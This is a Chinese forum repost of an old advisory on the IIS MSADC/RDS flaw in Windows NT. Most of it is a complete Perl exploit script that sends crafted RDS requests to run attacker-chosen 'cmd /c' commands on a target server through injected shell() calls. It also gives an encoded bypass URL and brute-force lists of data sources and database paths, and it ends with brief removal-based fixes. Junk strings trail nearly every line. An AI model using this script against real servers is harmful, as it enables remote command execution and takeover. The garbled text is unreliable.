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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |qlS6Aln  
sz/*w7  
涉及程序: kT^*>=1  
Microsoft NT server )4ilCS&  
k(EMp1[:nN  
描述: \&iil =H8!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 2vc\=  
vUYJf99B  
详细: SFn 3$ rh  
如果你没有时间读详细内容的话,就删除: 8?7kIin  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 3Q"F(uE v^  
有关的安全问题就没有了。 .G}k/`a  
w< 65S  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 PW%1xHLfk  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 wmo{YS3t|  
关于利用ODBC远程漏洞的描述,请参看: yGvDn' m  
Dz`k[mI  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm q_T] 9d  
k&) K(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 CV&zi6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8/3u/  
dL_QX,X-]  
这里不再论述。 [?chK^8  
ATXF,o1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: c^=R8y-N  
EZ"bW  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +z-[s6q2m  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! MZ|\S/  
Yb[n{.%/g  
d/{Q t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \=!H2M  
5`{vE4A]q  
#!perl )O3jQ_q=  
# QjA&IZEC  
# MSADC/RDS 'usage' (aka exploit) script -Z%F mv8  
# ( 0i'Nb"  
# by rain.forest.puppy n%/i:Whs  
# ImIqD&a-h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1^C|k(t  
# beta test and find errors! {-@~Q.&}v  
NZLXN  
use Socket; use Getopt::Std; Ly9Q}dL  
getopts("e:vd:h:XR", \%args); 3Y z]8`C  
5W+{U8\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +UxI{,L  
{A|bBg1!  
if (!defined $args{h} && !defined $args{R}) { =fl%8"%N&  
print qq~  SLkuT`*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } sV u k  
-h <host> = host you want to scan (ip or domain) .H8mRvd?  
-d <seconds> = delay between calls, default 1 second %}C9  
-X = dump Index Server path table, if available &1wpGJqm  
-v = verbose qZaO&"q  
-e = external dictionary file for step 5 mD7}t  
*z0K%@M  
Or a -R will resume a command session +W9]ED  
%3M95UZ2  
~; exit;} TPHYz>D]  
|olNA*4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 0p-#f|ET  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} FV A UR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} IX9K.f  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0[/vQ+O]2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -kl;!:'.3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 14  H'!$  
3gpo %  
if (!defined $args{R}){ $ret = &has_msadc; c45tmul  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} sAi&A9"*   
`(!NYx  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" j 1(T )T  
. "cmd /c "; _gKu8$o=-  
$in=<STDIN>; chomp $in; Z,WubX<  
$command="cmd /c " . $in ; %e{(twp  
f =o4I2Y[  
if (defined $args{R}) {&load; exit;} <Nex8fiJ9  
pI>*u ]x  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "u;YI=+  
&try_btcustmr; vM`7s[oAK  
JSgpb ?(  
print "\nStep 2: Trying to make our own DSN..."; =}v ;1m  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WSLy}@`Vx  
:uo[&&c  
print "\nStep 3: Trying known DSNs..."; EKuSnlTXba  
&known_dsn; IIxJqGN:  
e_/x&a(i8  
print "\nStep 4: Trying known .mdbs..."; s~J=<)T*6  
&known_mdb; |3;(~a)%  
p<KIF>rf|  
if (defined $args{e}){ =_ y\Y@J  
print "\nStep 5: Trying dictionary of DSN names..."; %cX"#+e  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } >,"sHm}l%  
,=|4:F9  
print "Sorry Charley...maybe next time?\n"; ` W4dx&  
exit; <Ct_d Cc  
6NX3"i0 eT  
############################################################################## _ h9o@  
',ZF5T5z@  
sub sendraw { # ripped and modded from whisker ; 0ko@ \Lq  
sleep($delay); # it's a DoS on the server! At least on mine... %/T7Z; d  
my ($pstr)=@_; oG_C?(7>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QU T"z'  
die("Socket problems\n"); O*G1 QX  
if(connect(S,pack "SnA4x8",2,80,$target)){ l~J*' m2  
select(S); $|=1; IU#x[P!  
print $pstr; my @in=<S>; 5ZK&fKeCF  
select(STDOUT); close(S); d~@q%-`lA  
return @in; /r^[a,Q#x  
} else { die("Can't connect...\n"); }} b9Y_!Qe  
-$JO8'TP  
############################################################################## b,@aqu  
C>X|VP |C  
sub make_header { # make the HTTP request ]^ K;goQv  
my $msadc=<<EOT *HE^1IEl  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 L8&D(wh/f  
User-Agent: ACTIVEDATA 8>NwCjN  
Host: $ip x<ax9{  
Content-Length: $clen M2@;RZ(|  
Connection: Keep-Alive ?n]FNjd  
|~K(F <;j  
ADCClientVersion:01.06 oM,- VUr  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2z_2.0/3  
3c#s|qW  
--!ADM!ROX!YOUR!WORLD! cin2>3Z$  
Content-Type: application/x-varg |g-b8+.=]  
Content-Length: $reqlen e1/sqXWo  
n ~,t QV  
EOT m\vmY  
; $msadc=~s/\n/\r\n/g; pSfYu=#f  
return $msadc;} f:woP7FP  
@{d\j]Nw  
############################################################################## <7 )Fh*W@  
s0C:m  
sub make_req { # make the RDS request kl}Xmw{tJ  
my ($switch, $p1, $p2)=@_; _xrwu;o0}  
my $req=""; my $t1, $t2, $query, $dsn; ,9of(T(~  
:243H  
if ($switch==1){ # this is the btcustmr.mdb query ~R]35Cp-#  
$query="Select * from Customers where City=" . make_shell(); B,vOsa"x6`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :%X Ls,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }Qr6 l/2  
x83a!9  
elsif ($switch==2){ # this is general make table query )oU)}asY  
$query="create table AZZ (B int, C varchar(10))"; W5pb;74|  
$dsn="$p1";} ^Q.,\TL01  
{0v*xL_O^  
elsif ($switch==3){ # this is general exploit table query qlsQ|/'D  
$query="select * from AZZ where C=" . make_shell(); O1P=#l iYX  
$dsn="$p1";} qOy=O [+9  
 L}%dCe  
elsif ($switch==4){ # attempt to hork file info from index server s B 20/F  
$query="select path from scope()"; edvFQ#,d  
$dsn="Provider=MSIDXS;";} 7J*N_8?2  
?+2b(2&MXE  
elsif ($switch==5){ # bad query PmX2[7  
$query="select"; sL^yB  
$dsn="$p1";} < <Y}~N  
+K~NV?c  
$t1= make_unicode($query); ^,8R,S\} $  
$t2= make_unicode($dsn); \Kav w  
$req = "\x02\x00\x03\x00"; ^G1%6\We  
$req.= "\x08\x00" . pack ("S1", length($t1)); Yu3zM79'k  
$req.= "\x00\x00" . $t1 ; ~i~%~doa  
$req.= "\x08\x00" . pack ("S1", length($t2)); @jy41eIo  
$req.= "\x00\x00" . $t2 ; K#mOSY;}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \7v)iG|#G&  
return $req;} QM<y`cZ8  
T:iP="?{  
############################################################################## _. V?A*  
Sq2P-y!w  
sub make_shell { # this makes the shell() statement NHQF^2\\  
return "'|shell(\"$command\")|'";} M+P$/Wk  
jO~:<y3 =  
############################################################################## X~9j$3lUBR  
=L-I-e97@  
sub make_unicode { # quick little function to convert to unicode )2e#HBnH  
my ($in)=@_; my $out; ;xYNX  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q<(YP.k  
return $out;} 1zxq^BI  
0CExY9@Wq  
############################################################################## ~I=Y{iM  
O(Jj|Z  
sub rdo_success { # checks for RDO return success (this is kludge) "3CJUr:Q  
my (@in) = @_; my $base=content_start(@in); ~P*4V]L^  
if($in[$base]=~/multipart\/mixed/){ /t%u"dP"T~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} R^#@lI~  
return 0;} 5F"|E-;  
B4Y(?JTx  
############################################################################## #*%q'gyHT  
vH[47CvG5  
sub make_dsn { # this makes a DSN for us Nw_@A8-r  
my @drives=("c","d","e","f"); G}d-(X  
print "\nMaking DSN: "; m#!=3P7T  
foreach $drive (@drives) { YB(Gk;]  
print "$drive: "; Qdk6Qubi!  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . v`PY>c6~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *Zk>2<^R  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -~{c u47_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; K2)!h.W  
return 0 if $2 eq "404"; # not found/doesn't exist iBg3mc@OO  
if($2 eq "200") { uQ1@b-e`5  
foreach $line (@results) { o{:xp r=(  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} b*kfWG-6t  
} return 0;} #-VMg+14  
hfWFD,  
############################################################################## `>C<}xO  
2x]>l? 5b  
sub verify_exists { `fNpY#QsN  
my ($page)=@_; 8IQtz2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); A7_4 .VH  
return $results[0];} 9A'Y4Kg<C  
?%tMohL  
############################################################################## 2B0W~x2=  
/phX'xp  
sub try_btcustmr { -Apc$0ZsN  
my @drives=("c","d","e","f"); 7cDU2l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); {7hLsK[])  
sic"pn],U  
foreach $dir (@dirs) { OR1DYHHT/1  
print "$dir -> "; # fun status so you can see progress y&~w2{a  
foreach $drive (@drives) { Vv.r8IGYm  
print "$drive: "; # ditto z;tI D~Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; c_grPk2O4  
$reqlenlen=length( "$reqlen" ); 796\jf$  
$clen= 206 + $reqlenlen + $reqlen; %]gTm7 =t  
$@-P5WcRs  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); zET^T5>:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} B(g_Gm<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Q#I"_G&{  
C*=Xk/0  
############################################################################## _9 .(a  
 fE f_F r  
sub odbc_error { $``1PJoi  
my (@in)=@_; my $base; !LMN[3M_  
my $base = content_start(@in); Dr&('RZ4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1@48BN8cm'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \*hrW(   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PX: '/{V  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ks^6.)  
return $in[$base+4].$in[$base+5].$in[$base+6];} Y_&g="`Q  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !l?.5Pm])  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $4kH3+WJ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8I20*#  
1/1Xk,E  
############################################################################## 'VyM{:8  
Bs+(L [Z  
sub verbose { h` U?1xS  
my ($in)=@_; - O98pi  
return if !$verbose; >2$5eI  
print STDOUT "\n$in\n";} v,-{Z1N%m  
G'2#9<c*  
############################################################################## _/8FRkx  
:bV mgLgG  
sub save { EF7+ *Q9  
my ($p1, $p2, $p3, $p4)=@_; {^mNJ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; z?/1Kj}xG  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; omO S=d!o  
close OUT;} FuG4F  
.;y#  
############################################################################## }jt?|dl1  
yzw mT  
sub load { ]xC#rwHUC  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ac2(O6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q5h*`7f  
@p=<IN>; close(IN); `g8E1-]l  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); geQ{EwO8n  
$target= inet_aton($ip) || die("inet_aton problems"); w\54j)rb  
print "Resuming to $ip ..."; P./V6i<:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; X'.qYsS  
if($p[1]==1) { @2pu^k^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; C*U'~qRK  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;k"Bse!/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); v(*C%.M)  
if (rdo_success(@results)){print "Success!\n";} 9CA^B2u  
else { print "failed\n"; verbose(odbc_error(@results));}} f.aSKQD  
elsif ($p[1]==3){ =9oP owq  
if(run_query("$p[3]")){ I}e 3zf>  
print "Success!\n";} else { print "failed\n"; }} p.ANVA@:  
elsif ($p[1]==4){ !CX t*/~  
if(run_query($drvst . "$p[3]")){ 9TF f8'?d  
print "Success!\n"; } else { print "failed\n"; }} _Jwq`]Z  
exit;} T2}FYVj?!g  
S6}@I ,Q  
############################################################################## u p.Q>28r  
l Z#o+d2Y  
sub create_table { lzw3=H  
my ($in)=@_; F:*W5xX  
$reqlen=length( make_req(2,$in,"") ) - 28; sK{l 9  
$reqlenlen=length( "$reqlen" ); +iRq8aS_  
$clen= 206 + $reqlenlen + $reqlen; V fv@7@q  
my @results=sendraw(make_header() . make_req(2,$in,"")); 56^ +;^f^`  
return 1 if rdo_success(@results); M02uO`Y9  
my $temp= odbc_error(@results); verbose($temp); 4S~o-`&W  
return 1 if $temp=~/Table 'AZZ' already exists/; h\plQ[T  
return 0;} ]\/tVn.'  
jV.g}F+1m  
############################################################################## 4}_O`Uxh  
2*(Z==XC7  
sub known_dsn { (P&4d~) m  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go rl9. ]~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", g{W;I_P^9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", x~.:64  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); wi9DhVvc 0  
0ye!R   
foreach $dSn (@dsns) { 4}`  
print "."; R'kyrEO  
next if (!is_access("DSN=$dSn")); (D@A74q\'  
if(create_table("DSN=$dSn")){ /R>nr"  
print "$dSn successful\n"; e[sK@jX6  
if(run_query("DSN=$dSn")){ |F9z,cc"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v9Xp97J2  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \Mg`(,kwe  
[tMZ G%h  
############################################################################## jTLSdul+  
z4 &iK)x  
sub is_access { V9ssH87#  
my ($in)=@_; lKEkXO  
$reqlen=length( make_req(5,$in,"") ) - 28; ;7N Z<k  
$reqlenlen=length( "$reqlen" ); AuR$g7z  
$clen= 206 + $reqlenlen + $reqlen; C3G)'\yL  
my @results=sendraw(make_header() . make_req(5,$in,"")); {R/C0-Q^^  
my $temp= odbc_error(@results); ix#epuN  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); nXjP x@  
return 0;} gN)c  
 ;raN  
############################################################################## B||;'  
.VTy[|o   
sub run_query { K}6dg<  
my ($in)=@_; "V&+7"Q  
$reqlen=length( make_req(3,$in,"") ) - 28; `"qP  
$reqlenlen=length( "$reqlen" ); 0 IQ'3_  
$clen= 206 + $reqlenlen + $reqlen; {.yStB. T  
my @results=sendraw(make_header() . make_req(3,$in,""));  ]xguBh]  
return 1 if rdo_success(@results); E*#]**  
my $temp= odbc_error(@results); verbose($temp); ?$e9<lsQq)  
return 0;} VUI|.76g  
tzy'G"P|  
############################################################################## )xb|3&+W  
Rb(SBa  
sub known_mdb { >J|]moSVA  
my @drives=("c","d","e","f","g"); a_h]?5 :c  
my @dirs=("winnt","winnt35","winnt351","win","windows");  [ `]4P&  
my $dir, $drive, $mdb; $9S(_xdI&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y?ez9o:/#  
^<LY4^  
# this is sparse, because I don't know of many R\XKMF3mN3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", CgzD$`~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", y^]tahbo  
"\\system32\\certmdb.mdb", u_7~TE3W  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *>VVt8*Et  
_ Ro!"YVX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l2;CQ7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", E~LT b) !  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9b?SHzAa  
"\\cfusion\\cfapps\\security\\realm_.mdb", nenU)*o  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", O5H9Y}i]  
"\\cfusion\\database\\cfexamples.mdb", F@R1:M9*  
"\\cfusion\\database\\cfsnippets.mdb", 3s"0SLS4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Q[+ac*F=Y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 31EyDU,W  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &qS[%K )  
"\\cfusion\\database\\smpolicy.mdb", w`l{LHrR  
"\\cfusion\\database\cypress.mdb", &K/FyY5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", I |# 5NE6  
"\\website\\cgi-win\\dbsample.mdb", W+*5"h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", F#|: `$ t  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,t)x{I;C)  
); #these are just U35AX9/  
foreach $drive (@drives) { 1Z{ZV.!  
foreach $dir (@dirs){ lC=~$c:  
foreach $mdb (@sysmdbs) { ;(}V"i7Hu  
print "."; au,t%8AC  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^<X@s1^#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; t<n"-Tqu  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ .(Qx{r$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,RN:^5 p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "QvmqI>  
QMEcQV>  
foreach $drive (@drives) { (|wz7 AY2  
foreach $mdb (@mdbs) { S~]mWxgZ  
print "."; WW~+?g5  
if(create_table($drv . $drive . $dir . $mdb)){ ~Y.tz`2D  
print "\n" . $drive . $dir . $mdb . " successful\n"; =V"(AuCVE  
if(run_query($drv . $drive . $dir . $mdb)){ t'm;:J1  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Gn;@{x6  
} else { print "Something's borked. Use verbose next time\n"; }}}} &CwFdx:Ff  
}  jq08=  
mqq;H}  
############################################################################## Qv-@Zt!8  
)G7=G+e;  
sub hork_idx { :W@#) 1=  
print "\nAttempting to dump Index Server tables...\n"; Kt0(gQOr0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?'"X"@r5  
$reqlen=length( make_req(4,"","") ) - 28; 9;xM%  
$reqlenlen=length( "$reqlen" ); y,pZTlE  
$clen= 206 + $reqlenlen + $reqlen; N?X~w <  
my @results=sendraw2(make_header() . make_req(4,"","")); |pa$*/!NT  
if (rdo_success(@results)){ uytE^  
my $max=@results; my $c; my %d; Et_V,s<|  
for($c=19; $c<$max; $c++){ 9M"].~iNE  
$results[$c]=~s/\x00//g; W5#611  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7^T^($+6s&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Hi]cxD*`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; mw5?[@G-  
$d{"$1$2"}="";} WL{(Ob  
foreach $c (keys %d){ print "$c\n"; } h_d<!  
} else {print "Index server doesn't seem to be installed.\n"; }} CkswJ:z)sc  
.G o{1[  
############################################################################## cwV]!=RtO  
5[n(7;+gw  
sub dsn_dict { gl&5l1&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); r < cVp^  
while(<IN>){ 3Tq\BZ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^9-&o  
next if (!is_access("DSN=$dSn")); X>?b#Eva  
if(create_table("DSN=$dSn")){ n&A'C\  
print "$dSn successful\n"; )#F]G$51r  
if(run_query("DSN=$dSn")){ q64k7<C,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 16SOIT  
print "Something's borked. Use verbose next time\n";}}} /s];{m|>  
print "\n"; close(IN);} >&!RWH9*q  
 X\}Y  
############################################################################## Bvt@X   
;60.l!   
sub sendraw2 { # ripped and modded from whisker R/`q/0T.  
sleep($delay); # it's a DoS on the server! At least on mine... Y wkyq>Rv  
my ($pstr)=@_; M# 18H<]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .@-$5Jw  
die("Socket problems\n"); qaim6a  
if(connect(S,pack "SnA4x8",2,80,$target)){ 21RP=0Q:  
print "Connected. Getting data"; `]P pau  
open(OUT,">raw.out"); my @in; 0P>OJYFr'  
select(S); $|=1; print $pstr; +y 87~]]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} WL+]4Wiz  
close(OUT); select(STDOUT); close(S); return @in; jp' K%P  
} else { die("Can't connect...\n"); }} 'Peni1_  
Nm):9YQ/  
############################################################################## 1N2,mo?2  
_Jv 9F8v  
sub content_start { # this will take in the server headers &Z?ut *%S  
my (@in)=@_; my $c; 76.{0 c  
for ($c=1;$c<500;$c++) { 5PcJZi^.l  
if($in[$c] =~/^\x0d\x0a/){ >yJ9U,Y  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } dz>;<&2Z  
else { return $c+1; }}} a}SdW  
return -1;} # it should never get here actually 0q\7C[R_  
`"@X.}\  
############################################################################## m`6Yc:@E  
W(RF n`g\  
sub funky {  Xtq{%  
my (@in)=@_; my $error=odbc_error(@in); ?X?&~3iD%  
if($error=~/ADO could not find the specified provider/){ `pd&se'p  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0b91y3R+  
exit;} (Toq^+`c  
if($error=~/A Handler is required/){ G;3~2^lB\  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;IK[Y{W/  
exit;} ;@h0qRXW:h  
if($error=~/specified Handler has denied Access/){ '&;yT[  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6mH/ m&  
exit;}} VDB;%U*D  
)rLMIk  
############################################################################## -yDs< Xl  
H;aYiy  
sub has_msadc { }6 5s'JB  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZDL']*)'  
my $base=content_start(@results); $>U # W:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); `IINq{Zk  
return 0;} c.\O/N   
V Cy5JH  
######################## fQ>4MKLw=d  
hl&-\dc+  
avp; *G }  
解决方案: ]<DNo&fw  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _B2V "p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7:=5"ScV  
rg(lCL&:S  
拿出来充数 哈哈
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